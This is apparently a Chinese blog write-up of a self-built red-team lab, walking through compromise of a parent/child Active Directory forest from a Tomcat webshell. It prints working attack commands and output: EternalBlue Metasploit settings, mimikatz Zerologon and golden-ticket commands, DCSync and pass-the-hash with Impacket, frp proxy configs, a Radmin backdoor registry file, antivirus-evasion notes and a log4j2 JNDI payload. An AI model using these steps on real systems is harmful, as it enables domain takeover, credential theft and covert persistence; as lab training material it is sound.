红队内网靶场

文章目录

        • 开篇介绍
        • 靶场介绍
        • 靶场下载以及配置
        • Tomcat Get Shell
        • 突破DMZ防火墙
        • 拿下域内成员机器
        • 将内网机器上线到CS
        • 使用Adfind侦察子域信息
        • 控制子域DC
        • Radmin登录子域进行权限维持(白银票据/ACL)
        • 子域bloodhound获取父域信息分析
        • 子域Krbtgt密钥创建跨域金票Dcsync父域
        • PTH父域DC准备打靶
        • log4j2拿下靶标
        • 总结

开篇介绍
大家好这里是虚构之人的红队内网靶场的第一个靶场,笔者发现网上的内网靶场不管是国外的HTB AD 101
系列还是国内的红队内网靶场跟实战的环境下有这较大的差距因此很多同学就算练习完这些靶场也无法对
真实场景下渗透有自己的方法论,往往面试红队的时候缺少完整的渗透过程而很是尴尬,笔者打算开始做飞鸟
红队内网靶场系列,来让各位同学拥有至少是完整的渗透过程经验,这里不仅有完整的靶场也有完整的打法
过程可以学习,后续会陆续推出红队内网靶场以及安全运营相关靶场感兴趣的小伙伴可以关注下。
靶场介绍
这里笔者做的靶场是内网跨域靶场需要各位读者通过Web进行GetShell突破DMZ然后
拿到子域权限跨域到父域拿下父域DC后找到父域下不入域机器Web GetShell靶标文件。
配置要求:
	最低要求是6核心CPU/32G内存整个靶场解压后有130G左右。
主要涉及如下知识点:
	Tomcat 任意文件写入漏洞,log4j2 JNDI注入漏洞,ms17-010,
	NetLogon-1472,Krbtgt跨域金票,白银票据,ACL滥用。
使用的工具如下:
	burpsuite,mimikatz,Cobalt Strike,Metasploit,Impacket,fscan,frp
	JNDI exploit,nmap。
VM网卡配置以及网络规划
Vm网卡:
VMent6	192.168.66.0/255.255.255.0		攻击机/Web IP充当外部网络
VMent7	192.168.77.0/255.255.255.0		Web DMZ
VMent8	172.16.88.0/255.255.255.0		子域
VMent9	10.99.9.0/255.255.255.0			根域
网段:
192.168.66.1/24	充当外部网络
192.168.77.1/24	Web
172.16.88.1/24	子域
10.99.9.1/24	根域
Web DMZ防火墙(pfSense)
	192.168.77.10	WEB DMZ网关
	172.16.88.10	子域网关
Web DMZ机器:
	192.168.77.110/192.168.66.110	Tomcat	
域 DMZ防火墙:
	172.16.88.2		子域网关
	10.99.9.2		根域网关
子域:
	172.16.88.100/10.99.9.88		DC		
	172.16.88.120					FZ_DC		
	172.16.88.121					Win10		
	172.16.88.122					Web发布机	
根域:
	10.99.9.100/172.16.88.10		DC		
	10.99.9.101						FZ_DC
	10.99.9.205						靶标
网络规划图简述:

红队内网靶场_第1张图片

靶场下载以及配置
下载:
链接:https://pan.baidu.com/s/1YYj9jmBIuI49QvkFOS9uuQ 
提取码:3606 

在这里插入图片描述
红队内网靶场_第2张图片

配置信息:
Vm网卡:
	VMent6	192.168.66.0/255.255.255.0		攻击机/Web IP充当外部网络
	VMent7	192.168.77.0/255.255.255.0		Web DMZ
	VMent8	172.16.88.0/255.255.255.0		子域
	VMent9	10.99.9.0/255.255.255.0			根域
	VMent10 10.99.100.0/255.255.255.0		靶标
网段:
	192.168.66.1/24	充当外部网络
	192.168.77.1/24	Web
	172.16.88.1/24	子域
	10.99.9.1/24	根域
Web DMZ防火墙(pfSense):	1_512MB
	192.168.77.10	WEB DMZ	Web Ip root/pfSense
	172.16.88.10	子域IP		
Web DMZ机器:
	192.168.77.110/192.168.66.110	漏洞机器	Tomcat	
域 DMZ防火墙:
	172.16.88.2
	10.99.9.2	网关Web IP	admin/li.com@Pf
子域:
	172.16.88.100/10.99.9.88		DC		2_2G
	172.16.88.120					FZ_DC		2_2G
	172.16.88.121					Win10		2_2G
	172.16.88.122/Web DMZ网关用于突破隔离		Win7		2_1G
根域:
	10.99.9.100/172.16.88.10		DC		
	10.99.9.101						FZ_DC
	10.99.9.200						Win10
靶标:
	10.99.100.201/10.99.9.210		WIN7 跳板机  双网卡机器
	10.99.100.205					靶标	
根域账户设置:
li.com域管	
	rootLi/Root@Admin123
li.com企业管理员:
	LiRootAll/[email protected]
禁用账户:
	administrator
IT 组
	IT_zhangsan/[email protected]
	IT_xiaoming/[email protected]
入域账户:
	LiRuyu/LRY.li.comlry
办公组(WorkingArea):
	lizong/LZ@10001234
	zhangzong/ZZg@96762
	tiancheng/TCg@88855
	xiaoli/XL@@123XXX
	wangmang/WM@9999
子域账户设置:
tset.li.com子域域管
	caixukun/CXK1234XX@NB
	liangfeifan/LFF55555@NB
tset.li.com入域账户
	test_li_ruyu/RYA@123
test.li.com普通账户组:
	IT组(IT organize):
		wangwu/WWNBNB123@com
		lisi/Ls12345@com
	办公组(WorkingArea):
		zhangna/[email protected]
		xiaona/[email protected]
		feifange/Ffg666@com
		meilinna/[email protected]
		shifenzhe/SFZ.test.li.com
禁用账号:
	administrator
Tomcat Get Shell
攻击机(linux)192.168.66.130
攻击机(windows)192.168.66.129
这里笔者的环境是两台电脑配置VMent6网卡充当外部网络,有能力的小伙伴也可以直接自己
搭建到真实的外部网络上,这个靶场内默认的登录账户是admin/admin小伙伴们也可以自行设置。
首先是进行信息收集目前只是指定192.168.66.110这个IP,下面开始进行信息收集。
使用nmap扫描发现开放了80/3389/445/135等端口,发现80端口是Tomcat服务

红队内网靶场_第3张图片

尝试使用Tomcat任意文件上传漏洞看看能不能拿到WebShell。

红队内网靶场_第4张图片

写入哥斯拉WebShell。

红队内网靶场_第5张图片
红队内网靶场_第6张图片
红队内网靶场_第7张图片

使用CS Powershell一句话上线到CS进行操作。

红队内网靶场_第8张图片
红队内网靶场_第9张图片

这里CS使用的是LSTAR插件下载地址:https://github.com/lintstar/LSTAR

在这里插入图片描述

红队内网靶场_第10张图片
红队内网靶场_第11张图片

这里我上传了fscan对192.168.77.10进行扫描,因为目标存在360因此需要对fscan进行免杀,我的做法是使用我之前
写的PengCode安全工具将fscan转换为ShellCode将其加密后放入ATL框架中的函数内,因为是函数内的BYTE数组所以
没有编译在data节中编译器将压入栈中因此更加隐蔽,对免杀和逆向感兴趣的小伙伴可以给我留下言人多的话我会专门
出系列文章。
fscan扫描命令这里跳过了存活和web poc:
fscan.exe -h 192.168.77.10 -np -no -nopoc

红队内网靶场_第12张图片

发现了WebTitle信息是pfSense防火墙的登录,下面使用frp做隧道代理看看能不能拿下防火墙。
下面是frpc配置提前配置了多级代理用于穿透内网:

红队内网靶场_第13张图片

frps这里我是部署在Tomcat上的没有部署在公网VPS上如果是真实环境的话需要一台公网VPS部署,不建议
直接部署在Tomcat的WebShell机器上,因为你不确定正向连接端口是否会放开。

红队内网靶场_第14张图片
红队内网靶场_第15张图片

突破DMZ防火墙
上面通过frp代理成功访问到pfsense防火墙,pfsense防火墙是有漏洞可以打的,pfsense是属于软件防火墙
是可以进行配置修改绕过使得WebShell机器可以突破DMZ的,如果遇到的是网闸这种硬件型的那就比较难搞,
记住一句话没有绝对安全系统,一定存在一个路径是可以拿到靶标的只是你现在还不知道嘿嘿嘿奥里给干了兄弟们。	
这里咱们直接尝试pfsense防火墙的默认账户密码"admin/pfsense".

红队内网靶场_第16张图片

登录成功之后咱们看一下接口对网络架构有个基本的了解。

红队内网靶场_第17张图片
红队内网靶场_第18张图片
红队内网靶场_第19张图片

可以看到有192段和172段两个接口,也就是说咱们的Tomcat服务器是可以访问172段的但是设置了DMZ规则导致不能
访问172段,现在咱们看一下规则配置是不是这样。	

红队内网靶场_第20张图片
红队内网靶场_第21张图片

可以看到规则就是Tomcat的192段属于DMZ不能主动访问172段而172段可以访问192段,咱们把DMZ规则下掉然后
扫描172.16.88.1/24看看会有什么发现。

红队内网靶场_第22张图片
红队内网靶场_第23张图片

拿下域内成员机器
Tomcat通过之前的nmap扫描发现是开放了3389端口,这里为了方便使用mimiktaz抓取本机账户密码登录3389,
如果是是实际场景的话该操作可能会触发登录告警因此不推荐这种方式可以使用todesk或者其他远控进行登录。

红队内网靶场_第24张图片

登录成功发现确实是360直接退掉杀软。

红队内网靶场_第25张图片

使用fscan扫描172.16.88.1/24,如果是真实场景的红蓝对抗中不建议使用fscan进行大规模扫描因为会打出成吨的告警,
很容易被防守方发现尽量还是要用常规的方式进行横向比如SSH/浏览器账户密码等

红队内网靶场_第26张图片

使用msf尝试ms17-010攻击命令:
	setg Proxies socks5:192.168.66.110:8055
	setg ReverseAllowProxy true
	use exploit/windows/smb/ms17_010_eternalblue
	set payload windows/x64/meterpreter/bind_tcp
	set rhost 172.16.88.122
	run	

红队内网靶场_第27张图片

进入shell meterpreter > shell,发现目标机器在域内,看起来是在子域test.li.com

红队内网靶场_第28张图片

查询域信任关系:nltest.exe /domain_trusts

红队内网靶场_第29张图片

可以看到test.li.com的父域是li.com且没有其他子域信息,下面查询下域控DC。
net group "Domain Controllers" /domain

红队内网靶场_第30张图片

查询域管:net group "domain admins" /domain

红队内网靶场_第31张图片

查询是否存在域管进程:tasklist /v	

红队内网靶场_第32张图片

看起来似乎没有域管进程,ms17-010的shell是System权限可以注入到域管进程进行Dcsync操作。
将内网机器上线到CS
通过ms17-010打下了一台域内机器,现在使用CS的Pivoting下Listener来生成上线Beacon,
需要注意的是Tomcat是双网卡机器所以Listen Host要填写为内网IP默认双网卡机器CS的
是上线IP也就是外网Ip稍微注意下就行。

红队内网靶场_第33张图片

meterpreter	upload上传Beacon文件

在这里插入图片描述

上传成功进入shell上线Beacon文件。

在这里插入图片描述

使用Adfind侦察子域信息
咱们成功上线到了CS先看下有没有杀软:
wmic /node:localhost /namespace:\\root\SecurityCenter2 path AntiVirusProduct Get DisplayName,productState,pathToSignedProductExe | findstr /V /B /C:displayName || echo No Antivirus installed
发现没有杀软直接使用mimikatz抓下ntlm hash。
	[*] Tasked beacon to run mimikatz's sekurlsa::logonpasswords command
	[+] host called home, sent: 787066 bytes
	[+] received output:
	
	Authentication Id : 0 ; 997 (00000000:000003e5)
	Session           : Service from 0
	User Name         : LOCAL SERVICE
	Domain            : NT AUTHORITY
	Logon Server      : (null)
	Logon Time        : 2023/4/10 23:37:43
	SID               : S-1-5-19
		msv :	
		tspkg :	
		wdigest :	
		 * Username : (null)
		 * Domain   : (null)
		 * Password : (null)
		kerberos :	
		 * Username : (null)
		 * Domain   : (null)
		 * Password : (null)
		ssp :	
		credman :	
	
	Authentication Id : 0 ; 996 (00000000:000003e4)
	Session           : Service from 0
	User Name         : WIN7-TEST-LI$
	Domain            : TEST
	Logon Server      : (null)
	Logon Time        : 2023/4/10 23:37:43
	SID               : S-1-5-20
		msv :	
		 [00000003] Primary
		 * Username : WIN7-TEST-LI$
		 * Domain   : TEST
		 * NTLM     : 689828102235cee6f7480323ede6811c
		 * SHA1     : 4aeae8aee6f5cd3e21759027321071930b539e70
		tspkg :	
		wdigest :	
		 * Username : WIN7-TEST-LI$
		 * Domain   : TEST
		 * Password : 9*O^5!- :"iGfl<>gbG`5Q$"h9
		kerberos :	
		 * Username : win7-test-li$
		 * Domain   : TEST.LI.COM
		 * Password : 9*O^5!- :"iGfl<>gbG`5Q$"h9
		ssp :	
		credman :	
	
	Authentication Id : 0 ; 47238 (00000000:0000b886)
	Session           : UndefinedLogonType from 0
	User Name         : (null)
	Domain            : (null)
	Logon Server      : (null)
	Logon Time        : 2023/4/10 23:37:43
	SID               : 
		msv :	
		 [00000003] Primary
		 * Username : WIN7-TEST-LI$
		 * Domain   : TEST
		 * NTLM     : 689828102235cee6f7480323ede6811c
		 * SHA1     : 4aeae8aee6f5cd3e21759027321071930b539e70
		tspkg :	
		wdigest :	
		kerberos :	
		ssp :	
		credman :	
	
	Authentication Id : 0 ; 999 (00000000:000003e7)
	Session           : UndefinedLogonType from 0
	User Name         : WIN7-TEST-LI$
	Domain            : TEST
	Logon Server      : (null)
	Logon Time        : 2023/4/10 23:37:43
	SID               : S-1-5-18
		msv :	
		tspkg :	
		wdigest :	
		 * Username : WIN7-TEST-LI$
		 * Domain   : TEST
		 * Password : 9*O^5!- :"iGfl<>gbG`5Q$"h9
		kerberos :	
		 * Username : win7-test-li$
		 * Domain   : TEST.LI.COM
		 * Password : 9*O^5!- :"iGfl<>gbG`5Q$"h9
		ssp :	
		credman :
可以看到没有抓到域用户账户只抓到自身的机器账户,使用CS查看进程也没有发现域账户进程下面使用Adfind侦察下域信息。
先用Adfind查询下域信任关系因为当前没有域账户需要用机器账户查询ms17-010正好是System权限可以使用机器账户查询
ldap信息,如果是本地管理员的话是无法查询需要提权到System权限。
Adfind.exe -f objectclass=trusteddomain -dn

红队内网靶场_第34张图片

可以看到父域是li.com只有一个子域,这里在查询下域内机器信息。
Adfind.exe -schema -s base objectversion

红队内网靶场_第35张图片

可以看到子域有两台2016一台WIN7一台WIN10,2016就是之前查询到的域控机器。
因为当前只拿到了WIN7的机器账户查询下WIN7机器账户的委派看看有没有可以利用的。
Adfind查询机器账户非约束委派:
	Adfind.exe -b "DC=test,DC=li,DC=com" -f "(&(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288))" dn

红队内网靶场_第36张图片

Adfind查询机器账户约束委派:
	Adfind.exe -b "DC=test,DC=li,DC=com" -f "(&(samAccountType=805306369)(msds-allowedtodelegateto=*))" msds-allowedtodelegateto

红队内网靶场_第37张图片

Adfind查询机器账户基于资源约束委派:	
	Adfind.exe -b "DC=test,DC=li,DC=com" -f  "(&(samAccountType=805306369)(msDS-AllowedToAct OnBehalfOfotherIdentity=*))" msDS-AllowedToActOnBehalfOfOtherIdentity

红队内网靶场_第38张图片

Adfind查询服务账户基于资源约束委派:	
	Adfind.exe -b "DC=test,DC=li,DC=com" -f  "(&(samAccountType=805306368)(msDS-AllowedToAct OnBehalfOfotherIdentity=*))" msDS-AllowedToActOnBehalfOfOtherIdentity

红队内网靶场_第39张图片

查询下SPN看看有啥有价值的没。

红队内网靶场_第40张图片

上面查询委派发现并咱们现在控制的机器账户并没有设置委派,现在有两个思路一个打印机委派打法一个是域
CVE打法,第一种是打印机bug+NtlmRelay+基于资源约束委派,将辅助DC的Ldap进行Relay到主DC修改辅助DC的
msDS-AllowedToActOnBehalfOfOtherIdentity属性的SID为WIN7机器账户进行请求辅助DC的cifs的TGS票据登录
辅助DC控制子域,第二种是利用各种域内CVE如1472/4482/Windows Print Spooler/等漏洞进行攻击DC,这里我才使
用第二种打法直接试下1472(不是我懒-。-)。
控制子域DC
现在目前掌握的域内权限只有一台WIN7的机器账户,根据上面的分析现在采用第二种打法直接尝试重置DC
机器账户为空看看能否成功后进行Dcsync控制子域。
mimikatz使用Zerologon:
target:域控IP
account:域控机器账号
lsadump::zerologon /target:172.16.88.120 /account:2016-TEST-LI-DC$ /poc

红队内网靶场_第41张图片

下面进行利用,需要注意的是向Zerologon这种NetlogonRPC算法漏洞会导致大量的请求安全设备会直接告警,
因此在决定使用此类以及被安全产品写规则的漏洞后要尽快横向到靶标并设置域权限维持。
lsadump::zerologon /target:172.16.88.120 /account:2016-TEST-LI-DC$ /exploit

红队内网靶场_第42张图片

因为默认域控机器账户具有Dcsync功能,这里直接重置为空了咱们直接进行Dcsync控制子域这里我直接上frp开启了二级代理,
方便我后续使用kali进行PTH操作,下面将frpc与frps上传到WIN7跳板机上开启下面是frpc与frps配置,上传frps是因为可能
出现三级代理的情况所以就直接上传了。
frpc.ini:
	[common]
	server_addr = 192.168.77.110
	server_port = 7000
	
	[socks5_172Socket]
	type = tcp
	plugin = socks5
	remote_port = 9999		
	
	[socks5_172_DC_0]
	type = tcp
	local_ip = 127.0.0.1
	local_port = 9001
	remote_port = 1234
fprs.ini:
	[common]
	bind_port = 7000
使用Impacket下的secretsdump.py进行Dcsync操作。
python3 secretsdump.py '[email protected]' -no-pass

红队内网靶场_第43张图片

使用wmiexec和smbclient获取shell以及上传CS Beacon文件上线到CS。
proxychains python3 wmiexec.py [email protected] -hashes 0:28168fb732f0fc371715a20026d83793

红队内网靶场_第44张图片
红队内网靶场_第45张图片

使用CS配置Privoting->Listener需要注意不要配置错IP.

红队内网靶场_第46张图片
红队内网靶场_第47张图片

使用wmiexec执行上线成功这里发现了个小意外172.16.88.120是辅助DC但是之前设置的是DC名称,主DC是
172.16.88.100,上线到CS的时候才发现的不知道各位小伙伴们发现了没有。

红队内网靶场_第48张图片

Radmin登录子域进行权限维持(白银票据/ACL)
在实战中为了防止被防守方发现后踢出权限可以做权限维持,域权限的维持这里我选择使用白银票据和WriteDACL
来做域权限维持,可以制作两台DC的cifs服务TGS白银票据来控制DC,在给一个低下权限账户或者自己创建一个低权限
账户配置一个对域的WriteDACL的权限,就算DC自身的服务账户都改了的情况下也能通过低权限账户的WriteDACL赋予
Dcsync权限重新制作白银票据来控制DC,当然你使用黄金票据来做域权限维持也是可以的,但是黄金票据申请TGT的时候
会在KDC留下日志如果防守方设备监控了KDC日志那么就有可能被溯源,但是白银票据只会在终端下留下日志因此也可以
制作除DC之外的白银票据之后进行PTT利用重新获取目标机器控制权,当然也有更隐秘的手段比如修改域控机器账户属性
做委派的域权限维持也是可以的,大家玩靶场的时候可以自行去做,这里为了添加修改权限ACE方便我直接使用Radmin登录
了,如果是实战的话小伙伴也可以用powerview+Rights-GUID的方式添加ACE。
这里我讲下为什么用Radmin登录,首先操作比较方便类似于像是3389那种方式直接登录而且可以自定义账户密码,第二
如果有安全产品的ACL规则开启RDP访问或者访问3389啥的可能会告警也可能直接防火墙屏蔽了3389啥的当然你可以本地
端口转发到其他端口也是可以的,如果在原本开放3389的情况下,你RDP上去可能会把别人挤掉会察觉也很危险的操作,
这里我主要还是方便,下面我给大家简单讲讲怎么使用Radmin吧。
下载:
https://www.radmin.com/download/

红队内网靶场_第49张图片

下载完成后的压缩包解压有两个文件如下:	

红队内网靶场_第50张图片

上传成功之后大家可以用我的reg注册表文件注册这样被控端默认密码就是 SuShui/XuGouZhiRen
Windows Registry Editor Version 5.00

[HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Radmin]

[HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Radmin\v3.0]

[HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Radmin\v3.0\Server]
@=""

[HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Radmin\v3.0\Server\Parameters]
"NTAuthEnabled"=hex:00,00,00,00

[HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Radmin\v3.0\Server\Parameters\NtUsers]

[HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Radmin\v3.0\Server\Parameters\Radmin Security]

[HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Radmin\v3.0\Server\Parameters\Radmin Security\1]
"1"=hex:10,00,00,0c,53,00,75,00,53,00,68,00,75,00,69,00,30,00,01,00,98,47,fc,\
  7e,0f,89,1d,fd,5d,02,f1,9d,58,7d,8f,77,ae,c0,b9,80,d4,30,4b,01,13,b4,06,f2,\
  3e,2c,ec,58,ca,fc,a0,4a,53,e3,6f,b6,8e,0c,3b,ff,92,cf,33,57,86,b0,db,e6,0d,\
  fe,41,78,ef,2f,cd,2a,4d,d0,99,47,ff,d8,df,96,fd,0f,9e,29,81,a3,2d,a9,55,03,\
  34,2e,ca,9f,08,06,2c,bd,d4,ac,2d,7c,df,81,0d,b4,db,96,db,70,10,22,66,26,1c,\
  d3,f8,bd,d5,6a,10,2f,c6,ce,ed,bb,a5,ea,e9,9e,61,27,bd,d9,52,f7,a0,d1,8a,79,\
  02,1c,88,1a,e6,3e,c4,b3,59,03,87,f5,48,59,8f,2c,b8,f9,0d,ea,36,fc,4f,80,c5,\
  47,3f,db,6b,0c,6b,db,0f,db,af,46,01,f5,60,dd,14,91,67,ea,12,5d,b8,ad,34,fd,\
  0f,d4,53,50,de,c7,2c,fb,3b,52,8b,a2,33,2d,60,91,ac,ea,89,df,d0,6c,9c,4d,18,\
  f6,97,24,5b,d2,ac,92,78,b9,2b,fe,7d,ba,fa,a0,c4,3b,40,a7,1f,19,30,eb,c4,fd,\
  24,c9,e5,a2,e5,a4,cc,f5,d7,f5,15,44,d7,0b,2b,ca,4a,f5,b8,d3,7b,37,9f,d7,74,\
  0a,68,2f,40,00,00,01,05,50,00,00,20,b3,3b,b8,42,13,f4,d7,a8,9e,19,b5,e3,c5,\
  57,9a,12,4e,6c,b0,8e,13,12,12,e2,e8,96,37,a4,65,a0,5a,07,60,00,01,00,7d,4a,\
  01,ba,15,d5,27,a3,aa,8d,ca,f1,f9,f7,b0,c5,e7,79,47,c3,3a,26,28,33,47,7d,d9,\
  7c,28,77,b8,ac,c5,5f,23,cd,90,a2,94,37,f8,64,f5,0c,08,f4,9e,ae,1c,b7,c5,c7,\
  ea,7a,09,6b,c9,c7,c6,43,d1,0d,bc,d4,d0,02,c8,71,bc,f1,e5,c7,f7,3d,1e,fa,cf,\
  6b,dd,c8,3f,7f,0e,56,7f,45,9a,51,a9,d6,23,43,c6,fd,1d,c8,70,8c,0a,f4,da,6b,\
  b6,87,d0,35,82,cf,21,55,76,f4,95,69,df,9d,b8,0c,92,fc,c1,e6,c9,3b,8e,5d,30,\
  6c,90,55,55,85,cb,69,17,14,76,2e,31,73,18,38,3a,0f,77,68,9b,a2,d3,7e,02,2a,\
  9d,8e,5e,1b,41,0b,36,6d,9e,9d,da,cc,fc,79,19,3e,4c,7e,60,67,56,67,22,6f,3b,\
  c8,cf,c6,38,2b,34,fb,bf,3e,97,92,a8,b8,b4,e1,92,92,6e,01,b0,2e,97,b5,16,ff,\
  60,e1,e6,73,9d,72,d7,34,a2,48,93,55,35,f0,fe,71,c4,66,c3,a0,7a,6e,9a,7d,08,\
  a8,b1,0f,c9,6b,ba,76,74,d3,31,b4,90,00,9d,48,60,61,46,60,17,9f,3a,e5,9e,cc,\
  40,ec,72,eb,20,00,00,04,ff,01,00,00

[HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Radmin\v3.0\Shared]

[HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Radmin\v3.0\Shared\Parameters]
@=""
"AutoSelectLangId"=hex:01,00,00,00
"LangId"=hex:00,00,00,00

保存为xxx.reg之后上传到被控端执行如下命令添加该注册表文件:
方式1
regedit /s xxx.reg
方式2(CS)
shell C:\Windows\SysWOW64\regedit.exe /s C:\Users\Public\222.reg
这样被控端的账户密码就是SuShui/XuGouZhiRen
大家也可以直接导出

红队内网靶场_第51张图片
红队内网靶场_第52张图片

需要注意要用System权限进行安装,用户权限静默可能安装失败。

红队内网靶场_第53张图片

这里咱们之前Dcsync的时候以及拿到机器账户Hash,所以可以直接制作白银票据下面是命令需要的时候可以做下进行PTT。
2016-TEST-LI-DC$	31d6cfe0d16ae931b73c59d7e0c089c0
2016-TEST-LI-FZ$	67a2b758f11b8e19609405d3eb1f5eee
python3 ticketer.py -domain-sid S-1-5-21-1554304197-1510085637-3326330895 -nthash 31d6cfe0d16ae931b73c59d7e0c089c0 -spn cifs/2016-TEST-LI-DC.test.li.com -domain test.li.com administrator
下面给lisi普通域账户做下WriteDACL的ACL后门。

红队内网靶场_第54张图片

子域bloodhound获取父域信息分析
现在对根域的域情况不是很清楚下面要进行信息收集使用bloodhound分析根域后进行跨域攻击。
SharpHound.exe -d li.com

红队内网靶场_第55张图片
红队内网靶场_第56张图片
红队内网靶场_第57张图片

红队内网靶场_第58张图片
红队内网靶场_第59张图片
红队内网靶场_第60张图片

子域Krbtgt密钥创建跨域金票Dcsync父域
上面咱们拿到了子域DC控制权正常攻防来说都是要进步信息收集找到靶标的,但是这里因为靶场是我搭建的所以我就知道
靶标是在父域下面其实这里咱们是可以访问父域资源的我这里还是跨域攻击然后在横向到靶标这种方式来(不是刷路径分-.-),
当然小伙伴们也可以根据自己的打法来玩。
Krbtgt跨域金票需要关闭SID过滤的情况下才行当然默认只有林中才会开启SID过滤。
利用步骤:
1.使用mimikatz伪造新PAC为根域的Enterprise Admins(企业管理员组),并创建跨域黄金票据。
2.将创建好的跨域票据进行Dcsync或者,PTT(传递票据)申请根域cifs服务的TGS票据。
利用步骤1:
使用Adfind查询下企业管理员组SID:
Adfind.exe -b "CN=Enterprise Admins,CN=Users,DC=li,DC=com" objectSid

红队内网靶场_第61张图片

mimikatz创建跨域金票:
清除当前票据
	kerberos::purge
注入跨域金票参数说明:
	sids:Enterprise Admins(企业管理员组)SID
sid:当前域SID
	domain:当前域名
	krbtgt:NTLM Hash
ptt:将票据注入当前内存
	kerberos::golden /user:administrator /sids:S-1-5-21-1219037115-404033701-4288556313-519 /sid:S-1-5-21-1554304197-1510085637-3326330895 /domain:test.li.com /krbtgt:91a07429bd05b231d1d19392bdf7a7a3 /ptt

红队内网靶场_第62张图片
红队内网靶场_第63张图片

当然跨域攻击的方式有很多比如在可以访问父域的情况下你直接打Zerologon重置父域DC机器账户密码为空,或者
打印机BUG/PetitPotam+非约束委派进行跨域攻击也可以,因为域控默认就具有非约束为委派,或者使用域间信任
密钥进行跨域利用均可,具体是使用那种方式需要根据实战场景来做的。
PTH父域DC准备打靶
这里也为后续能够访问靶标做准备,咱们用frp做下3级代理上线到CS。

红队内网靶场_第64张图片
红队内网靶场_第65张图片

wmiexec登录到父域DC后上传fscan找找靶标进行信息收集。

红队内网靶场_第66张图片
红队内网靶场_第67张图片

这里看下10.99.9.205是不是咱们要找的靶标

红队内网靶场_第68张图片

log4j2拿下靶标
相信大家很眼熟是vulfcous下的log4j2靶场这就是咱们的靶标拿下这个的shell就是拿到靶标了,
废话不多说直接上开打。
JNDI利用工具下载:
https://github.com/Jeromeyoung/JNDIExploit-1
已经编译好的jar文件:
https://github.com/Mr-xn/JNDIExploit-1
支持的格式查看:
java -jar JNDIExploit-1.2-SNAPSHOT.jar -u
这里父域没有java环境咱们将java-jre-8u172上传一个用/s做静默安装,我这里使用smbclient.py传输的
能快一些,如果使用CS上传非常慢,这也是在实战中很头疼的问题那就是装环境哈哈。

红队内网靶场_第69张图片

这里有点乱码可以在wmiexec加上-codec gbk解决乱码。
JNDI利用exp:
${jndi:ldap://10.99.9.101:7777/TomcatBypass/TomcatEcho}
成功拿到靶标:

红队内网靶场_第70张图片

总结
本靶场是红队内网跨域靶场第一弹下面几个跨域靶场会陆续加上vCenter/Kubernetes/gitlab/ADCS/exchange/等常见系统,
也会陆续做安全运营相关靶场从防守方视角反推红队攻击路径逆向分析木马IoC排查终端木马编写相关报告,如果大家对靶场
系列感兴趣的话欢迎关注。

你可能感兴趣的:(渗透,域安全,web安全,安全漏洞,信息安全,网络,系统安全,windows)